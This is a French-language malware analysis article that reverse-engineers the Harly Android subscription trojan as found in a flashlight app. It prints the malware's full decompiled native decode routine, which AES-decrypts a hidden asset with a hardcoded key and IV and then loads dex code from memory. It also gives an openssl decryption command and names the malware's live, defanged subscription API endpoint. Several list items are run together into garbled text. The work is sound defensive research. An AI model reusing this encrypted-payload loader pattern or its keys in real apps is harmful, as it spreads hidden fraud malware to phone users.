Harly est une famille de malware (Trojan Subscriber) qui cible les plateformes Android et a été téléchargé environ 4.8 millions de fois depuis le magasin Google Play.
Cet article est le résultat de la rétro-ingénierie (“reverse engineering”) d’une version de ce malware.
La famille du malware Harly se déguise sous forme d’applications légitimes dans le magasin Android. Ces applications effectuent des souscriptions à une variété de services payants, dont le coût peut être important, sans que l’utilisatrice ou l’utilisateur s’en aperçoive.
Le malware présenté dans cet article est l’application “BinBin Flash” qui a été téléchargée plus de 10 000 fois.
Ces types de malware vont avoir besoin des permissions pour :
la persmission
android.permission.RECEIVE_BOOT _COMPLETEDest utilisée pour assurer la persistance du malware afin qu’il s’exécute à chaque démarrage.
Le point d’entrée de l’application défini dans le fichier AndroidManfest.xml est la classe com.binbin.flashlignt.App.
La fonction onCreate, qui va être exécutée à chaque démarrage de l’application, exécute la fonction s(). Cette fonction va charger la librairie main (libmain.so) contenue dans le package de l’application :
Information: On peut constater que la librairie est compilée pour les plateformes “ARM aarch64” uniquement.
libmain.soLors des chargements des librairies Android, la première fonction à être exécutée de la librairie est la fonction JNI_OnLoad. Dans le cas de la librairie libmain.so, la fonction est la suivante :
La présence de
_cgo_comme préfixe au nom de la fonction signifie que la librairie a été developpé en GoLang.
L’appel de la fonction crosscall2 va appeler la fonction JNI_OnLoad écrite en Go:
Les imbrications continuent, jusqu’à l’arrivée à la fonction decode :
void sym._cgo_3d9b7d535ea4_Cfunc_decode(int64_t **arg1)
{
uint uVar1;
int32_t iVar2;
ulong uVar3;
ulong uVar4;
ulong uVar5;
ulong uVar6;
ulong uVar7;
ulong uVar8;
ulong uVar9;
ulong uVar10;
ulong uVar11;
ulong uVar12;
ulong uVar13;
ulong uVar14;
ulong uVar15;
ulong uVar16;
ulong uVar17;
ulong uVar18;
uint64_t uVar19;
int64_t iVar20;
int64_t *piVar21;
code *pcVar22;
code *pcVar23;
piVar21 = *arg1;
uVar3 = (**(*piVar21 + 0x30))(piVar21, "android/app/ActivityThread");
uVar4 = (**(*piVar21 + 0x388))(piVar21, uVar3, "currentApplication", "()Landroid/app/Application;");
uVar3 = (**(*piVar21 + 0x390))(piVar21, uVar3, uVar4);
uVar4 = (**(*piVar21 + 0x30))(piVar21, "android/content/Context");
uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getAssets", "()Landroid/content/res/AssetManager;");
uVar5 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar5);
uVar6 = (**(*piVar21 + 0xf8))(piVar21, uVar5);
uVar6 = (**(*piVar21 + 0x108))(piVar21, uVar6, "open", "(Ljava/lang/String;)Ljava/io/InputStream;");
pcVar22 = *(*piVar21 + 0x110);
uVar7 = (**(*piVar21 + 0x538))(piVar21, "riip");
uVar5 = (*pcVar22)(piVar21, uVar5, uVar6, uVar7);
uVar6 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/Cipher");
uVar7 = (**(*piVar21 + 0x388))(piVar21, uVar6, "getInstance", "(Ljava/lang/String;)Ljavax/crypto/Cipher;");
pcVar22 = *(*piVar21 + 0x390);
uVar8 = (**(*piVar21 + 0x538))(piVar21, "AES/CBC/PKCS5PADDING");
uVar7 = (*pcVar22)(piVar21, uVar6, uVar7, uVar8);
uVar6 = (**(*piVar21 + 0x108))
(piVar21, uVar6, "init", "(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V");
uVar8 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/spec/SecretKeySpec");
uVar9 = (**(*piVar21 + 0x108))(piVar21, uVar8, "<init>", "([BLjava/lang/String;)V");
uVar10 = (**(*piVar21 + 0x30))(piVar21, "android/util/Base64");
uVar11 = (**(*piVar21 + 0x388))(piVar21, uVar10, "decode", "(Ljava/lang/String;I)[B");
pcVar22 = *(*piVar21 + 0x4b0);
uVar12 = (**(*piVar21 + 0x480))(piVar21, uVar10, "NO_WRAP", 0xde469);
uVar1 = (*pcVar22)(piVar21, uVar10, uVar12);
uVar12 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/spec/IvParameterSpec");
uVar13 = (**(*piVar21 + 0x108))(piVar21, uVar12, "<init>", "([B)V");
pcVar22 = *(*piVar21 + 0x390);
uVar14 = (**(*piVar21 + 0x538))(piVar21, "7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k=");
uVar14 = (*pcVar22)(piVar21, uVar10, uVar11, uVar14, uVar1);
pcVar22 = *(*piVar21 + 0x390);
uVar15 = (**(*piVar21 + 0x538))(piVar21, "vpCngUOEcHLMC3dFv7lstg==");
uVar10 = (*pcVar22)(piVar21, uVar10, uVar11, uVar15, uVar1);
iVar20 = *piVar21;
pcVar22 = *(iVar20 + 0x1e8);
pcVar23 = *(iVar20 + 0xe0);
uVar11 = (**(iVar20 + 0x538))(piVar21, 0xde301);
uVar8 = (*pcVar23)(piVar21, uVar8, uVar9, uVar14, uVar11);
uVar9 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar10);
(*pcVar22)(piVar21, uVar7, uVar6, 2, uVar8, uVar9);
uVar6 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/CipherInputStream");
uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar6, "<init>", "(Ljava/io/InputStream;Ljavax/crypto/Cipher;)V");
uVar5 = (**(*piVar21 + 0xe0))(piVar21, uVar6, uVar8, uVar5, uVar7);
uVar6 = (**(*piVar21 + 0x30))(piVar21, "java/nio/channels/Channels");
uVar7 = (**(*piVar21 + 0x388))
(piVar21, uVar6, "newChannel", "(Ljava/io/InputStream;)Ljava/nio/channels/ReadableByteChannel;");
uVar5 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar5);
uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getFilesDir", "()Ljava/io/File;");
uVar8 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar8);
uVar9 = (**(*piVar21 + 0x30))(piVar21, "java/io/File");
uVar10 = (**(*piVar21 + 0x108))(piVar21, uVar9, "<init>", "(Ljava/io/File;Ljava/lang/String;)V");
pcVar22 = *(*piVar21 + 0xe0);
uVar11 = (**(*piVar21 + 0x538))(piVar21, "packaged.zip");
uVar11 = (*pcVar22)(piVar21, uVar9, uVar10, uVar8, uVar11);
uVar12 = (**(*piVar21 + 0x30))(piVar21, "java/io/FileOutputStream");
uVar13 = (**(*piVar21 + 0x108))(piVar21, uVar12, "<init>", "(Ljava/io/File;)V");
uVar14 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar11);
uVar15 = (**(*piVar21 + 0x108))(piVar21, uVar12, "getChannel", "()Ljava/nio/channels/FileChannel;");
uVar14 = (**(*piVar21 + 0x110))(piVar21, uVar14);
uVar16 = (**(*piVar21 + 0xf8))(piVar21, uVar14);
uVar16 = (**(*piVar21 + 0x108))(piVar21, uVar16, "transferFrom", "(Ljava/nio/channels/ReadableByteChannel;JJ)J");
(**(*piVar21 + 0x1a0))(piVar21, uVar14, uVar16, uVar5, 0, 0xcb564);
pcVar22 = *(*piVar21 + 0x108);
uVar17 = (**(*piVar21 + 0x30))(piVar21, "java/io/Closeable");
uVar17 = (*pcVar22)(piVar21, uVar17, "close", 0xde358);
(**(*piVar21 + 0x1e8))(piVar21, uVar14, uVar17);
(**(*piVar21 + 0x1e8))(piVar21, uVar5, uVar17);
uVar5 = (**(*piVar21 + 0x30))(piVar21, "java/util/zip/ZipFile");
uVar14 = (**(*piVar21 + 0x108))(piVar21, uVar5, "<init>", "(Ljava/io/File;)V");
uVar11 = (**(*piVar21 + 0xe0))(piVar21, uVar5, uVar14, uVar11);
uVar14 = (**(*piVar21 + 0x108))(piVar21, uVar5, "getEntry", "(Ljava/lang/String;)Ljava/util/zip/ZipEntry;");
pcVar22 = *(*piVar21 + 0x110);
uVar18 = (**(*piVar21 + 0x538))(piVar21, "loader.dex");
uVar14 = (*pcVar22)(piVar21, uVar11, uVar14, uVar18);
uVar18 = (**(*piVar21 + 0xf8))(piVar21, uVar14);
uVar18 = (**(*piVar21 + 0x108))(piVar21, uVar18, "getSize", 0xde31a);
uVar19 = (**(*piVar21 + 0x1a0))(piVar21, uVar14, uVar18);
uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar5, "getInputStream", "(Ljava/util/zip/ZipEntry;)Ljava/io/InputStream;");
uVar5 = (**(*piVar21 + 0x110))(piVar21, uVar11, uVar5, uVar14);
uVar5 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar5);
uVar6 = (**(*piVar21 + 0x30))(piVar21, "android/os/Build$VERSION");
uVar7 = (**(*piVar21 + 0x480))(piVar21, uVar6, "SDK_INT", 0xde469);
iVar2 = (**(*piVar21 + 0x4b0))(piVar21, uVar6, uVar7);
uVar4 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getClassLoader", "()Ljava/lang/ClassLoader;");
uVar4 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar4);
iVar20 = *piVar21;
if (iVar2 < 0x1a) {
pcVar22 = *(iVar20 + 0xe0);
uVar6 = (**(iVar20 + 0x538))(piVar21, "loader.dex");
uVar6 = (*pcVar22)(piVar21, uVar9, uVar10, uVar8, uVar6);
uVar7 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar6);
uVar7 = (**(*piVar21 + 0x110))(piVar21, uVar7, uVar15);
(**(*piVar21 + 0x1a0))(piVar21, uVar7, uVar16, uVar5, 0, uVar19);
(**(*piVar21 + 0x1e8))(piVar21, uVar7, uVar17);
uVar7 = (**(*piVar21 + 0x30))(piVar21, "dalvik/system/PathClassLoader");
uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar7, "<init>", "(Ljava/lang/String;Ljava/lang/ClassLoader;)V");
uVar9 = (**(*piVar21 + 0x108))(piVar21, uVar9, "getAbsolutePath", "()Ljava/lang/String;");
uVar6 = (**(*piVar21 + 0x110))(piVar21, uVar6, uVar9);
pcVar22 = *(*piVar21 + 0xe0);
}
else {
uVar6 = (**(iVar20 + 0x30))(piVar21, "java/nio/ByteBuffer");
uVar7 = (**(*piVar21 + 0x388))(piVar21, uVar6, "allocateDirect", "(I)Ljava/nio/ByteBuffer;");
uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar6, "flip", "()Ljava/nio/Buffer;");
pcVar22 = *(*piVar21 + 0x108);
uVar9 = (**(*piVar21 + 0xf8))(piVar21, uVar5);
uVar9 = (*pcVar22)(piVar21, uVar9, "read", "(Ljava/nio/ByteBuffer;)I");
uVar6 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar19 & 0xffffffff);
(**(*piVar21 + 0x188))(piVar21, uVar5, uVar9, uVar6);
(**(*piVar21 + 0x110))(piVar21, uVar6, uVar8);
uVar7 = (**(*piVar21 + 0x30))(piVar21, "dalvik/system/InMemoryDexClassLoader");
uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar7, "<init>", "(Ljava/nio/ByteBuffer;Ljava/lang/ClassLoader;)V");
pcVar22 = *(*piVar21 + 0xe0);
}
uVar4 = (*pcVar22)(piVar21, uVar7, uVar8, uVar6, uVar4);
(**(*piVar21 + 0x1e8))(piVar21, uVar5, uVar17);
(**(*piVar21 + 0x1e8))(piVar21, uVar11, uVar17);
uVar5 = (**(*piVar21 + 0x30))(piVar21, "java/lang/ClassLoader");
uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar5, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
pcVar22 = *(*piVar21 + 0x110);
uVar6 = (**(*piVar21 + 0x538))(piVar21, "com.google.loader.Engine");
uVar4 = (*pcVar22)(piVar21, uVar4, uVar5, uVar6);
uVar5 = (**(*piVar21 + 0x388))(piVar21, uVar4, "start", "(Landroid/content/Context;)V");
// WARNING: Could not recover jumptable at 0x002cb074. Too many branches
// WARNING: Treating indirect jump as call
(**(*piVar21 + 0x468))(piVar21, uVar4, uVar5, uVar3);
return;
}
On peut résumer l’exécution de cette fonction avec les points suivants:
riip, des ressources, qui est chiffré en AES-256riip:7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k= encodée en Base64vpCngUOEcHLMC3dFv7lstg== encodé en Base64packaged.zippackaged.ziploader.dex contenu dans l’archive com.google.loader.Engine de loader.dexriipLa fonction decode ne permet pas de déterminer le fonctionnement du bytecode loader.dex. La solution est de déchiffrer le fichier riip et investiguer son contenu. Pour ce faire, la commande openssl avec les informations précédentes (algorithme utilisé, clé et IV) peut être utilisée:
openssl enc -aes-256-cbc -d -k $(python -c "import base64; print(base64.b64decode('7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k=').hex())") -iv $(python -c "import base64; print(base64.b64decode('vpCngUOEcHLMC3dFv7lstg==').hex())") -in riip -out packages.zip
L’archive déchiffrée résultante de la commande mentionnée ci-dessus contient trois fichiers :
Loader.dexkernel.dexepic.soLoader.dexLa classe com.google.loader.Engine, le point d’entrée lancer par la librairie main.so, du bytecode Loader.dex est la suivante:
Le rôle de cette classe est de charger le bytecode kernel.dex et d’exécuter la classe needle.kernel.Needle.
Kernel.dexLe bytecode Kernel.dex utilise la technique “Aspect-oriented Programming” (AOP) pour effectuer des “hook” des fonctions à l’aide de la librairie epic.so.
Note: Les détails du AOP ne seront pas abordés dans cet article. Si vous êtes intéressés pour en savoir plus n’hésitez pas à nous contacter
Le point d’entrée est la classe needle.kernel, qui va initialiser la configuration, sachant:
appId: l’identifiant de l’application du malware en questionUne vérification périodique est effectuée afin de détecter si le smartphone est connecté à un réseau Wifi. Si cela est le cas, aucune opération n’est effectuée. Dans le cas échéant le malware va effectuer des souscriptions à des services en envoyant une requête avec les différents paramètres recueillis à l’API http://api[.]analysis[-]portpull.com/api/offer/trans.
Attention: l’API est toujours active et est activement utilisée par le malware
http://api[.]analysis[-]portpull.com/api/offer/trans